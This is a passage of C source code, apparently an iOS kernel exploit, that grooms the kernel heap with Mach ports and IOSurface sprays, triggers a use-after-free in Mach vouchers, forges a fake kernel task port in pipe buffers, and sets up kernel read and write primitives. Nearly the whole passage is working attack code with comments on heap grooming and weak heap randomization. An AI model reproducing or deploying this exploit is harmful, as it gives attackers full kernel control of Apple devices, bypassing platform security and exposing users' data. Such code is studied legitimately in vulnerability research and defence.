MACH_PORT_LIMITS_INFO, 170 | (mach_port_info_t)&limits, 171 | MACH_PORT_LIMITS_INFO_COUNT); 172 | if (err != KERN_SUCCESS) 173 | { 174 | printf(" [-] failed to increase queue limit\n"); 175 | exit(EXIT_FAILURE); 176 | } 177 | 178 | mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size; 179 | struct simple_msg *msg = malloc(msg_size); 180 | memset(msg, 0, sizeof(struct simple_msg)); 181 | memcpy(&msg->buf[0], replacer_message_body, replacer_body_size); 182 | 183 | for (int i = 0; i < 256; i++) 184 | { 185 | msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 186 | msg->hdr.msgh_size = msg_size; 187 | msg->hdr.msgh_remote_port = q; 188 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 189 | msg->hdr.msgh_id = 0x41414142; 190 | 191 | err = mach_msg(&msg->hdr, 192 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 193 | msg_size, 194 | 0, 195 | MACH_PORT_NULL, 196 | MACH_MSG_TIMEOUT_NONE, 197 | MACH_PORT_NULL); 198 | 199 | if (err != KERN_SUCCESS) 200 | { 201 | printf(" [-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err)); 202 | exit(EXIT_FAILURE); 203 | } 204 | } 205 | 206 | return q; 207 | } 208 | 209 | uint32_t message_size_for_kalloc_size(uint32_t size) 210 | { 211 | return ((size * 3) / 4) - 0x74; 212 | } 213 | 214 | void trigger_gc_please() 215 | { 216 | // size = 100 * 16,384 * 256 = 419,430,400 = ~420mb (max) 217 | 218 | const int gc_ports_cnt = 100; 219 | int gc_ports_max = gc_ports_cnt; 220 | mach_port_t gc_ports[gc_ports_cnt] = { 0 }; 221 | 222 | uint32_t body_size = message_size_for_kalloc_size(16384) - sizeof(mach_msg_header_t); // 1024 223 | uint8_t *body = malloc(body_size); 224 | memset(body, 0x41, body_size); 225 | 226 | for (int i = 0; i < gc_ports_cnt; i++) 227 | { 228 | uint64_t t0, t1; 229 | 230 | t0 = mach_absolute_time(); 231 | gc_ports[i] = send_kalloc_message(body, body_size); 232 | t1 = mach_absolute_time(); 233 | 234 | /* 235 | this won't necessarily get triggered on newer/faster devices (ie. >=A9) 236 | this is mainly designed for older devices (in my case, A7) where spraying 237 | such a large amount of data is a painful process 238 | the idea here is to look for a longer spray which signals that GC may have 239 | taken place 240 | */ 241 | if (t1 - t0 > 1000000) 242 | { 243 | LOG("got gc at %d -- breaking", i); 244 | gc_ports_max = i; 245 | break; 246 | } 247 | } 248 | 249 | for (int i = 0; i < gc_ports_max; i++) 250 | { 251 | mach_port_destroy(mach_task_self(), gc_ports[i]); 252 | } 253 | 254 | sched_yield(); 255 | sleep(1); 256 | } 257 | 258 | // Raw MIG function for a merged IOSurface deleteValue + setValue call, attempting to increase performance. 259 | // Prepare everything - sched_yield() - fire. 260 | static kern_return_t reallocate_buf(io_connect_t client, uint32_t surfaceId, uint32_t propertyId, void *buf, mach_vm_size_t len) 261 | { 262 | #pragma pack(4) 263 | typedef struct { 264 | mach_msg_header_t Head; 265 | NDR_record_t NDR; 266 | uint32_t selector; 267 | mach_msg_type_number_t scalar_inputCnt; 268 | mach_msg_type_number_t inband_inputCnt; 269 | uint32_t inband_input[4]; 270 | mach_vm_address_t ool_input; 271 | mach_vm_size_t ool_input_size; 272 | mach_msg_type_number_t inband_outputCnt; 273 | mach_msg_type_number_t scalar_outputCnt; 274 | mach_vm_address_t ool_output; 275 | mach_vm_size_t ool_output_size; 276 | } DeleteRequest; 277 | typedef struct { 278 | mach_msg_header_t Head; 279 | NDR_record_t NDR; 280 | uint32_t selector; 281 | mach_msg_type_number_t scalar_inputCnt; 282 | mach_msg_type_number_t inband_inputCnt; 283 | mach_vm_address_t ool_input; 284 | mach_vm_size_t ool_input_size; 285 | mach_msg_type_number_t inband_outputCnt; 286 | mach_msg_type_number_t scalar_outputCnt; 287 | mach_vm_address_t ool_output; 288 | mach_vm_size_t ool_output_size; 289 | } SetRequest; 290 | typedef struct { 291 | mach_msg_header_t Head; 292 | NDR_record_t NDR; 293 | kern_return_t RetCode; 294 | mach_msg_type_number_t inband_outputCnt; 295 | char inband_output[4096]; 296 | mach_msg_type_number_t scalar_outputCnt; 297 | uint64_t scalar_output[16]; 298 | mach_vm_size_t ool_output_size; 299 | mach_msg_trailer_t trailer; 300 | } Reply; 301 | #pragma pack() 302 | 303 | // Delete 304 | union { 305 | DeleteRequest In; 306 | Reply Out; 307 | } DMess; 308 | 309 | DeleteRequest *DInP = &DMess.In; 310 | Reply *DOutP = &DMess.Out; 311 | 312 | DInP->NDR = NDR_record; 313 | DInP->selector = IOSURFACE_DELETE_VALUE; 314 | DInP->scalar_inputCnt = 0; 315 | 316 | DInP->inband_input[0] = surfaceId; 317 | DInP->inband_input[2] = transpose(propertyId); 318 | DInP->inband_input[3] = 0x0; // Null terminator 319 | DInP->inband_inputCnt = sizeof(DInP->inband_input); 320 | 321 | DInP->ool_input = 0; 322 | DInP->ool_input_size = 0; 323 | 324 | DInP->inband_outputCnt = sizeof(uint32_t); 325 | DInP->scalar_outputCnt = 0; 326 | DInP->ool_output = 0; 327 | DInP->ool_output_size = 0; 328 | 329 | DInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); 330 | DInP->Head.msgh_remote_port = client; 331 | DInP->Head.msgh_local_port = mig_get_reply_port(); 332 | DInP->Head.msgh_id = 2865; 333 | DInP->Head.msgh_reserved = 0; 334 | 335 | // Set 336 | union { 337 | SetRequest In; 338 | Reply Out; 339 | } SMess; 340 | 341 | SetRequest *SInP = &SMess.In; 342 | Reply *SOutP = &SMess.Out; 343 | 344 | SInP->NDR = NDR_record; 345 | SInP->selector = IOSURFACE_SET_VALUE; 346 | SInP->scalar_inputCnt = 0; 347 | 348 | SInP->inband_inputCnt = 0; 349 | 350 | SInP->ool_input = (mach_vm_address_t)buf; 351 | SInP->ool_input_size = len; 352 | 353 | SInP->inband_outputCnt = sizeof(uint32_t); 354 | SInP->scalar_outputCnt = 0; 355 | SInP->ool_output = 0; 356 | SInP->ool_output_size = 0; 357 | 358 | SInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); 359 | SInP->Head.msgh_remote_port = client; 360 | SInP->Head.msgh_local_port = mig_get_reply_port(); 361 | SInP->Head.msgh_id = 2865; 362 | SInP->Head.msgh_reserved = 0; 363 | 364 | // Deep breath 365 | sched_yield(); 366 | 367 | // Fire 368 | kern_return_t ret = mach_msg(&DInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(DeleteRequest), (mach_msg_size_t)sizeof(Reply), DInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 369 | if (ret == KERN_SUCCESS) 370 | { 371 | ret = DOutP->RetCode; 372 | } 373 | 374 | if (ret != KERN_SUCCESS) 375 | { 376 | return ret; 377 | } 378 | 379 | ret = mach_msg(&SInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(SetRequest), (mach_msg_size_t)sizeof(Reply), SInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 380 | if (ret == KERN_SUCCESS) 381 | { 382 | ret = SOutP->RetCode; 383 | } 384 | 385 | return ret; 386 | } 387 | 388 | static void set_nonblock(int fd) 389 | { 390 | int flags = fcntl(fd, F_GETFL); 391 | flags |= O_NONBLOCK; 392 | fcntl(fd, F_SETFL, flags); 393 | } 394 | 395 | int increase_file_limit() 396 | { 397 | int err = 0; 398 | struct rlimit rl = {}; 399 | 400 | err = getrlimit(RLIMIT_NOFILE, &rl); 401 | if (err != 0) 402 | { 403 | return err; 404 | } 405 | 406 | rl.rlim_cur = 10240; 407 | rl.rlim_max = rl.rlim_cur; 408 | err = setrlimit(RLIMIT_NOFILE, &rl); 409 | if (err != 0) 410 | { 411 | return err; 412 | } 413 | 414 | err = getrlimit(RLIMIT_NOFILE, &rl); 415 | if (err != 0) 416 | { 417 | return err; 418 | } 419 | 420 | return 0; 421 | } 422 | 423 | static kern_return_t send_port(mach_port_t rcv, mach_port_t myP) 424 | { 425 | typedef struct { 426 | mach_msg_header_t Head; 427 | mach_msg_body_t msgh_body; 428 | mach_msg_port_descriptor_t task_port; 429 | } Request; 430 | 431 | kern_return_t err = 0; 432 | 433 | Request stuff; 434 | Request *InP = &stuff; 435 | InP->Head.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); 436 | InP->Head.msgh_size = sizeof(Request); 437 | InP->Head.msgh_remote_port = rcv; 438 | InP->Head.msgh_local_port = MACH_PORT_NULL; 439 | InP->Head.msgh_id = 0x1337; 440 | 441 | InP->msgh_body.msgh_descriptor_count = 1; 442 | InP->task_port.name = myP; 443 | InP->task_port.disposition = MACH_MSG_TYPE_COPY_SEND; 444 | InP->task_port.type = MACH_MSG_PORT_DESCRIPTOR; 445 | 446 | err = mach_msg(&InP->Head, MACH_SEND_MSG | MACH_SEND_TIMEOUT, InP->Head.msgh_size, 0, 0, 5, 0); 447 | 448 | if (err) 449 | { 450 | printf("mach_msg failed = %d (%s)!\n",err,mach_error_string(err)); 451 | } 452 | 453 | return err; 454 | } 455 | 456 | static inline uint32_t mach_port_waitq_flags() 457 | { 458 | union waitq_flags waitq_flags = {}; 459 | waitq_flags.waitq_type = WQT_QUEUE; 460 | waitq_flags.waitq_fifo = 1; 461 | waitq_flags.waitq_prepost = 0; 462 | waitq_flags.waitq_irq = 0; 463 | waitq_flags.waitq_isvalid = 1; 464 | waitq_flags.waitq_turnstile_or_port = 1; 465 | return waitq_flags.flags; 466 | } 467 | 468 | // kinda messy function signature 469 | uint64_t send_buffer_to_kernel_and_find(offsets_t *offs, uint64_t (^read64)(uint64_t addr), uint64_t our_task_addr, mach_msg_data_buffer_t *buffer_msg, size_t msg_size) 470 | { 471 | kern_return_t ret; 472 | 473 | buffer_msg->head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 474 | buffer_msg->head.msgh_local_port = MACH_PORT_NULL; 475 | buffer_msg->head.msgh_size = msg_size; 476 | 477 | mach_port_t port; 478 | ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 479 | if (ret != KERN_SUCCESS) 480 | { 481 | LOG("failed to allocate mach port: %x", ret); 482 | goto err; 483 | } 484 | 485 | LOG("got port: %x", port); 486 | 487 | ret = _kernelrpc_mach_port_insert_right_trap(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 488 | if (ret != KERN_SUCCESS) 489 | { 490 | LOG("failed ot insert send right: %x", ret); 491 | goto err; 492 | } 493 | 494 | ret = mach_ports_register(mach_task_self(), &port, 1); 495 | if (ret != KERN_SUCCESS) 496 | { 497 | LOG("failed to register mach port: %x", ret); 498 | goto err; 499 | } 500 | 501 | buffer_msg->head.msgh_remote_port = port; 502 | 503 | ret = mach_msg(&buffer_msg->head, MACH_SEND_MSG, buffer_msg->head.msgh_size, 0, 0, 0, 0); 504 | if (ret != KERN_SUCCESS) 505 | { 506 | LOG("failed to send mach message: %x (%s)", ret, mach_error_string(ret)); 507 | goto err; 508 | } 509 | 510 | uint64_t itk_registered = read64(our_task_addr + offs->struct_offsets.task_itk_registered); 511 | if (itk_registered == 0x0) 512 | { 513 | LOG("failed to read our_task_addr->itk_registered!"); 514 | goto err; 515 | } 516 | 517 | LOG("itk_registered: %llx", itk_registered); 518 | 519 | uint16_t msg_count = read64(itk_registered + offsetof(kport_t, ip_messages.port.msgcount)) & 0xffff; 520 | if (msg_count != 1) 521 | { 522 | LOG("got weird msgcount! expected 1 but got: %x", msg_count); 523 | goto err; 524 | } 525 | 526 | LOG("msg_count: %d", msg_count); 527 | 528 | uint64_t messages = read64(itk_registered + offsetof(kport_t, ip_messages.port.messages)); 529 | if (messages == 0x0) 530 | { 531 | LOG("unable to find ip_messages.port.messages in kernel port!"); 532 | goto err; 533 | } 534 | 535 | LOG("messages: %llx", messages); 536 | 537 | uint64_t header = read64(messages + 0x18); // ipc_kmsg->ikm_header 538 | if (header == 0x0) 539 | { 540 | LOG("unable to find ipc_kmsg->ikm_header"); 541 | goto err; 542 | } 543 | 544 | LOG("header: %llx", header); 545 | 546 | uint64_t key_address = header + 0x20; // ikm_header->verification_key (in the msg body) 547 | 548 | LOG("key_address: %llx", key_address); 549 | 550 | uint64_t kernel_key = read64(key_address); 551 | if (kernel_key != buffer_msg->verification_key) 552 | { 553 | LOG("kernel verification key did not match! found wrong kmsg? expected: %llx, got: %llx", buffer_msg->verification_key, kernel_key); 554 | goto err; 555 | } 556 | 557 | ret = mach_ports_register(mach_task_self(), NULL, 0); 558 | if (ret != KERN_SUCCESS) 559 | { 560 | LOG("failed to call mach_ports_register: %x", ret); 561 | goto err; 562 | } 563 | 564 | return key_address + sizeof(kernel_key); 565 | 566 | err: 567 | return 0x0; 568 | } 569 | 570 | uint64_t kalloc(mach_port_t the_one, uint64_t size) 571 | { 572 | kern_return_t ret; 573 | mach_vm_address_t addr; 574 | 575 | ret = mach_vm_allocate(the_one, (mach_vm_address_t *)&addr, (mach_vm_size_t)size, VM_FLAGS_ANYWHERE); 576 | if (ret != KERN_SUCCESS) 577 | { 578 | LOG("failed to call mach_vm_allocate(0x%llx): %x %s", size, ret, mach_error_string(ret)); 579 | return (uint64_t)0x0; 580 | } 581 | 582 | return (uint64_t)addr; 583 | } 584 | 585 | void kread(mach_port_t port, uint64_t addr, void *buf, size_t size) 586 | { 587 | kern_return_t ret; 588 | size_t offset = 0; 589 | 590 | while (offset < size) 591 | { 592 | mach_vm_size_t sz, chunk = 0xfff; 593 | if (chunk > size - offset) 594 | { 595 | chunk = size - offset; 596 | } 597 | 598 | ret = mach_vm_read_overwrite(port, addr + offset, chunk, (mach_vm_address_t)buf + offset, &sz); 599 | if (ret != KERN_SUCCESS || 600 | sz == 0) { 601 | LOG("failed to call mach_vm_read_overwrite (%llx): %x %s", addr, ret, mach_error_string(ret)); 602 | break; 603 | } 604 | 605 | offset += sz; 606 | } 607 | } 608 | 609 | uint64_t kread64(mach_port_t port, uint64_t addr) 610 | { 611 | uint64_t val = 0x0; 612 | kread(port, addr, (void *)&val, sizeof(val)); 613 | return val; 614 | } 615 | 616 | void kwrite(mach_port_t port, uint64_t addr, void *buf, size_t len) 617 | { 618 | kern_return_t ret; 619 | 620 | ret = mach_vm_write(port, addr, (vm_offset_t)buf, len); 621 | 622 | if (ret != KERN_SUCCESS) 623 | { 624 | LOG("failed to call mach_vm_write(0x%llx, 0x%p, 0x%zx): %x %s", addr, buf, len, ret, mach_error_string(ret)); 625 | } 626 | } 627 | 628 | void kwrite64(mach_port_t port, uint64_t addr, uint64_t val) 629 | { 630 | kwrite(port, addr, &val, sizeof(val)); 631 | } 632 | 633 | // ********** ********** ********** ye olde pwnage ********** ********** ********** 634 | 635 | kern_return_t exploit(offsets_t *offsets, task_t *tfp0_back, uint64_t *kbase_back) 636 | { 637 | kern_return_t ret = KERN_SUCCESS; 638 | 639 | io_connect_t client = MACH_PORT_NULL; 640 | mach_vm_size_t pagesize = 0; 641 | 642 | mach_port_t before[0x2000] = { }; 643 | mach_port_t after[0x1000] = { }; 644 | mach_port_t preport[0x1000] = { }; 645 | mach_port_t postport[0x200] = { }; 646 | 647 | kport_t *fakeport = NULL; 648 | int *pipefds = NULL; 649 | void *pipebuf = NULL; 650 | 651 | /********** ********** data hunting ********** **********/ 652 | 653 | vm_size_t pgsz = 0; 654 | ret = _host_page_size(mach_host_self(), &pgsz); 655 | pagesize = pgsz; 656 | LOG("page size: 0x%llx, %s", pagesize, mach_error_string(ret)); 657 | if (ret != KERN_SUCCESS) 658 | { 659 | LOG("failed to get page size! ret: %x %s", ret, mach_error_string(ret)); 660 | goto out; 661 | } 662 | 663 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); 664 | if (!MACH_PORT_VALID(service)) 665 | { 666 | LOG("failed to find IOSurfaceRoot service"); 667 | ret = KERN_FAILURE; 668 | goto out; 669 | } 670 | 671 | ret = IOServiceOpen(service, mach_task_self(), 0, &client); 672 | LOG("client: %x, %s", client, mach_error_string(ret)); 673 | if (ret != KERN_SUCCESS || !MACH_PORT_VALID(client)) 674 | { 675 | LOG("failed to open an IOSurface client: %x (%s)", ret, mach_error_string(ret)); 676 | goto out; 677 | } 678 | 679 | uint32_t dict_create[] = 680 | { 681 | kOSSerializeMagic, 682 | kOSSerializeEndCollection | kOSSerializeDictionary | 1, 683 | 684 | kOSSerializeSymbol | 19, 685 | 0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, // "IOSurfaceAllocSize" 686 | kOSSerializeEndCollection | kOSSerializeNumber | 32, 687 | 0x1000, 688 | 0x0, 689 | }; 690 | 691 | typedef struct 692 | { 693 | mach_vm_address_t addr1; 694 | mach_vm_address_t addr2; 695 | mach_vm_address_t addr3; 696 | uint32_t id; 697 | } surface_t; 698 | 699 | size_t size = offsets->iosurface.create_outsize; 700 | surface_t *surface = malloc(size); 701 | bzero(surface, size); 702 | 703 | ret = IOConnectCallStructMethod(client, IOSURFACE_CREATE_SURFACE, dict_create, sizeof(dict_create), surface, &size); 704 | if (ret != KERN_SUCCESS) 705 | { 706 | LOG("IOSURFACE_CREATE_SURFACE failed: %x (%s)", ret, mach_error_string(ret)); 707 | goto out; 708 | } 709 | 710 | /* on 11.x the surface_t->addr3 entry doesn't exist */ 711 | if (surface->id == 0x0) 712 | { 713 | surface->id = surface->addr3; 714 | } 715 | LOG("surface ID: 0x%x", surface->id); 716 | 717 | if (surface->id == 0x0) 718 | { 719 | LOG("failed to create an IOSurface! id was 0"); 720 | ret = KERN_FAILURE; 721 | goto out; 722 | } 723 | 724 | /********** ********** black magic ********** **********/ 725 | 726 | /* the fake voucher to be sprayed */ 727 | fake_ipc_voucher_t fake_voucher = (fake_ipc_voucher_t) 728 | { 729 | .iv_refs = 100, 730 | .iv_port = 0x0, 731 | }; 732 | 733 | /* set up our IOSurface data for spraying */ 734 | #define FILL_MEMSIZE 0x4000000 735 | int spray_qty = FILL_MEMSIZE / pagesize; /* # of pages to spray */ 736 | 737 | int spray_size = (5 * sizeof(uint32_t)) + (spray_qty * ((4 * sizeof(uint32_t)) + pagesize)); 738 | uint32_t *spray_data = malloc(spray_size); // header + (spray_qty * (item_header + pgsize)) 739 | bzero((void *)spray_data, spray_size); 740 | 741 | uint32_t *spray_cur = spray_data; 742 | 743 | *(spray_cur++) = surface->id; 744 | *(spray_cur++) = 0x0; 745 | *(spray_cur++) = kOSSerializeMagic; 746 | *(spray_cur++) = kOSSerializeEndCollection | kOSSerializeArray | 1; 747 | *(spray_cur++) = kOSSerializeEndCollection | kOSSerializeDictionary | spray_qty; 748 | for (int i = 0; i < spray_qty; i++) 749 | { 750 | *(spray_cur++) = kOSSerializeSymbol | 5; 751 | *(spray_cur++) = transpose(i); 752 | *(spray_cur++) = 0x0; 753 | *(spray_cur++) = (i + 1 >= spray_qty ? kOSSerializeEndCollection : 0) | kOSSerializeString | (pagesize - 1); 754 | 755 | for (uintptr_t ptr = (uintptr_t)spray_cur, end = ptr + pagesize; 756 | ptr + sizeof(fake_ipc_voucher_t) <= end; 757 | ptr += sizeof(fake_ipc_voucher_t)) 758 | { 759 | bcopy((const void *)&fake_voucher, (void *)ptr, sizeof(fake_ipc_voucher_t)); 760 | } 761 | 762 | spray_cur += (pagesize / sizeof(uint32_t)); 763 | } 764 | 765 | /* we used this smaller dict later in order to reallocate our target OSString */ 766 | int small_dictsz = (9 * sizeof(uint32_t)) + pagesize; 767 | uint32_t *dict_small = malloc(small_dictsz); 768 | bzero((void *)dict_small, small_dictsz); 769 | 770 | dict_small[0] = surface->id; 771 | dict_small[1] = 0x0; 772 | dict_small[2] = kOSSerializeMagic; 773 | dict_small[3] = kOSSerializeEndCollection | kOSSerializeArray | 1; 774 | dict_small[4] = kOSSerializeEndCollection | kOSSerializeDictionary | 1; 775 | dict_small[5] = kOSSerializeSymbol | 5; 776 | dict_small[6] = 0x0; /* Key */ 777 | dict_small[7] = 0x0; 778 | dict_small[8] = kOSSerializeEndCollection | kOSSerializeString | (pagesize - 1); 779 | 780 | ret = increase_file_limit(); 781 | if (ret != 0) 782 | { 783 | LOG("failed to increase file limit!"); 784 | goto out; 785 | } 786 | 787 | int total_pipes = 0x500; 788 | size_t total_pipes_size = total_pipes * 2 * sizeof(int); 789 | pipefds = malloc(total_pipes_size); 790 | bzero(pipefds, total_pipes_size); 791 | 792 | for (size_t i = 0; i < total_pipes; i++) 793 | { 794 | /* 795 | we arrange our pipes in pairs 796 | where pipe N is a read pipe, and 797 | pipe N+1 is the corresponding write pipe 798 | */ 799 | pipefds[i * 2] = -1; 800 | pipefds[i * 2 + 1] = -1; 801 | 802 | int error = pipe(&pipefds[i * 2]); 803 | if (error != 0 || 804 | pipefds[i * 2] < 0 || 805 | pipefds[i * + 1] < 0) 806 | { 807 | close(pipefds[i * 2]); 808 | close(pipefds[i * 2 + 1]); 809 | 810 | total_pipes = i; 811 | break; 812 | } 813 | 814 | set_nonblock(pipefds[i * 2 + 1]); 815 | } 816 | 817 | LOG("total pipes created: %d",total_pipes); 818 | 819 | pipebuf = malloc(pagesize); 820 | bzero(pipebuf, pagesize); 821 | 822 | /* create a few vouchers used to trigger the bug */ 823 | mach_voucher_attr_recipe_data_t atm_data = 824 | { 825 | .key = MACH_VOUCHER_ATTR_KEY_ATM, 826 | .command = 510 827 | }; 828 | 829 | mach_port_t p2; 830 | ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &p2); 831 | 832 | mach_port_t p3; 833 | ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &p3); 834 | 835 | /* allocate 0x2000 vouchers to alloc some new fresh pages */ 836 | for (int i = 0; i < sizeof(before) / sizeof(mach_port_t); i++) 837 | { 838 | ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &before[i]); 839 | } 840 | 841 | /* alloc our target uaf voucher */ 842 | mach_port_t p1; 843 | ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &p1); 844 | 845 | /* allocate 0x1000 more vouchers */ 846 | for (int i = 0; i < sizeof(after) / sizeof(mach_port_t); i++) 847 | { 848 | ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &after[i]); 849 | } 850 | 851 | /* 852 | theoretically, we should now have 3 blocks of memory (roughly) as so: 853 | |-----------------------|-------------|------------------| 854 | | 0x2000 ports | target port | 0x1000 ports | 855 | |-----------------------|-------------|------------------| 856 | ^ ^ 857 | page with only our controlled ports 858 | hopefully our target port is now allocated on a page which contains only our 859 | controlled ports. this means when we release all of our ports *all* allocations 860 | on the given page will be released, and when we trigger GC the page will be released 861 | back from the ipc_ports zone to be re-used by kalloc 862 | this allows us to spray our fake vouchers via IOSurface in other kalloc zones 863 | (ie. kalloc.1024), and the dangling pointer of the voucher will then overlap with one 864 | of our allocations 865 | */ 866 | 867 | /* set up to trigger the bug */ 868 | ret = thread_set_mach_voucher(mach_thread_self(), p1); 869 | 870 | ret = task_swap_mach_voucher(mach_task_self(), p1, &p2); 871 | 872 | /* here we go! release the 0x1000 ports allocated after our target */ 873 | for (int i = 0; i < 0x1000; i++) 874 | { 875 | mach_port_destroy(mach_task_self(), after[i]); 876 | } 877 | 878 | /* now release our target port via the uaf */ 879 | ret = task_swap_mach_voucher(mach_task_self(), p1, &p3); 880 | 881 | /* release the 0x2000 ports allocated before our target */ 882 | for (int i = 0; i < 0x2000; i++) 883 | { 884 | mach_port_destroy(mach_task_self(), before[i]); 885 | } 886 | 887 | /* 888 | hopefully the page which contained our uaf port is now completely 889 | free of allocations, and we can trigger gc to release the page to 890 | allow for reallocation into another kalloc zone 891 | */ 892 | trigger_gc_please(); 893 | 894 | /* spray our data via IOSurface */ 895 | uint32_t dummy = 0; 896 | size = sizeof(dummy); 897 | ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, spray_data, spray_size, &dummy, &size); 898 | if(ret != KERN_SUCCESS) 899 | { 900 | LOG("setValue(prep): %s", mach_error_string(ret)); 901 | goto out; 902 | } 903 | 904 | mach_port_t real_port_to_fake_voucher = MACH_PORT_NULL; 905 | 906 | /* 907 | alloc'ing ports either side of the kport_t that thread_get_mach_voucher 908 | creates will give us much better success rate for guessing the 909 | heap address of our pipe buffer-based port 910 | 911 | someone once said iOS's heap randomization was weak 912 | i didn't listen 913 | then i realised 914 | iOS's heap randomization is weak 915 | ...i should've listened 916 | */ 917 | 918 | for (int i = 0; i < sizeof(preport) / sizeof(mach_port_t); i++) 919 | { 920 | mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &preport[i]); 921 | } 922 | 923 | /* fingers crossed we get a userland handle onto our 'fakeport' object */ 924 | ret = thread_get_mach_voucher(mach_thread_self(), 0, &real_port_to_fake_voucher); 925 | 926 | for (int i = 0; i < sizeof(postport) / sizeof(mach_port_t); i++) 927 | { 928 | mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &postport[i]); 929 | } 930 | 931 | LOG("port: %x", real_port_to_fake_voucher); 932 | 933 | if (!MACH_PORT_VALID(real_port_to_fake_voucher)) 934 | { 935 | LOG("failed to get real_port_to_fake_voucher :("); 936 | ret = KERN_FAILURE; 937 | goto out; 938 | } 939 | 940 | LOG("WE REALLY POSTED UP ON THIS BLOCK -- part 1 of #alwaysstayposted"); 941 | 942 | uint8_t *response = (uint8_t *)malloc(spray_size); 943 | size_t sz = spray_size; 944 | 945 | int spray_index = 0; 946 | int port_index = 0; 947 | fake_ipc_voucher_t *target_voucher = NULL; 948 | 949 | LOG("getting responses..."); 950 | for (int s = 0; s < spray_qty; s++) 951 | { 952 | bzero((void *)response, spray_size); 953 | 954 | uint32_t request[] = 955 | { 956 | surface->id, 957 | 0x0, 958 | transpose(s), 959 | 0x0, 960 | }; 961 | 962 | ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &sz); 963 | if (ret != KERN_SUCCESS) 964 | { 965 | LOG("IOSURFACE_GET_VALUE: %x %s", ret, mach_error_string(ret)); 966 | goto out; 967 | } 968 | 969 | uint8_t *cursor = response + 0x10; 970 | 971 | for (int j = 0; j < pagesize / sizeof(fake_ipc_voucher_t); j++) 972 | { 973 | fake_ipc_voucher_t *found_voucher = (fake_ipc_voucher_t *)(cursor + (j * sizeof(fake_ipc_voucher_t))); 974 | 975 | if (found_voucher->iv_port != 0) 976 | { 977 | LOG("found voucher!! s: %d, j: %d", s, j); 978 | LOG("port: %llx", found_voucher->iv_port); 979 | LOG("refs: %d", found_voucher->iv_refs); 980 | 981 | spray_index = s; 982 | port_index = j; 983 | target_voucher = found_voucher; 984 | 985 | goto found_voucher_lbl; 986 | } 987 | } 988 | } 989 | 990 | if (target_voucher == NULL) 991 | { 992 | LOG("failed to find the target voucher :-("); 993 | ret = KERN_FAILURE; 994 | goto out; 995 | } 996 | 997 | found_voucher_lbl:; 998 | 999 | mach_port_t the_one = real_port_to_fake_voucher; 1000 | uint64_t original_port_addr = target_voucher->iv_port; 1001 | 1002 | fake_ipc_voucher_t new_voucher = (fake_ipc_voucher_t) 1003 | { 1004 | .iv_port = (original_port_addr & ~(pagesize - 1)) + (pagesize * 64), 1005 | .iv_refs = 200, 1006 | }; 1007 | LOG("new port addr: 0x%llx", new_voucher.iv_port); 1008 | 1009 | fakeport = malloc(sizeof(kport_t)); 1010 | bzero((void *)fakeport, sizeof(kport_t)); 1011 | 1012 | /* set up our fakeport for use later */ 1013 | fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK; 1014 | fakeport->ip_references = 100; 1015 | fakeport->ip_lock.type = 0x11; 1016 | fakeport->ip_messages.port.receiver_name = 1; 1017 | fakeport->ip_messages.port.msgcount = 0; 1018 | fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE; 1019 | fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags(); 1020 | fakeport->ip_srights = 99; 1021 | fakeport->ip_kobject = new_voucher.iv_port + PIPEBUF_TASK_OFFSET; /* place the task struct just after the kport */ 1022 | 1023 | memcpy(pipebuf, (void *)fakeport, sizeof(kport_t)); 1024 | 1025 | for (int i = 0; i < total_pipes; i++) 1026 | { 1027 | int wfd = pipefds[2 * i + 1]; 1028 | size_t written = write(wfd, pipebuf, pagesize - 1); 1029 | 1030 | if (written != pagesize - 1) 1031 | { 1032 | /* failed to write, all our pipebuffers are full & we've run out of mem */ 1033 | 1034 | total_pipes = i; 1035 | LOG("total_pipes is now: %d", total_pipes); 1036 | break; 1037 | } 1038 | } 1039 | 1040 | dict_small[6] = transpose(spray_index); 1041 | 1042 | uint8_t *osstring_buf = (uint8_t *)dict_small + (9 * sizeof(uint32_t)); 1043 | 1044 | /* overwrite all the ports in the osstring */ 1045 | for (uintptr_t ptr = (uintptr_t)osstring_buf, end = ptr + pagesize; 1046 | ptr + sizeof(fake_ipc_voucher_t) <= end; 1047 | ptr += sizeof(fake_ipc_voucher_t)) 1048 | { 1049 | bcopy((const void *)&new_voucher, (void *)ptr, 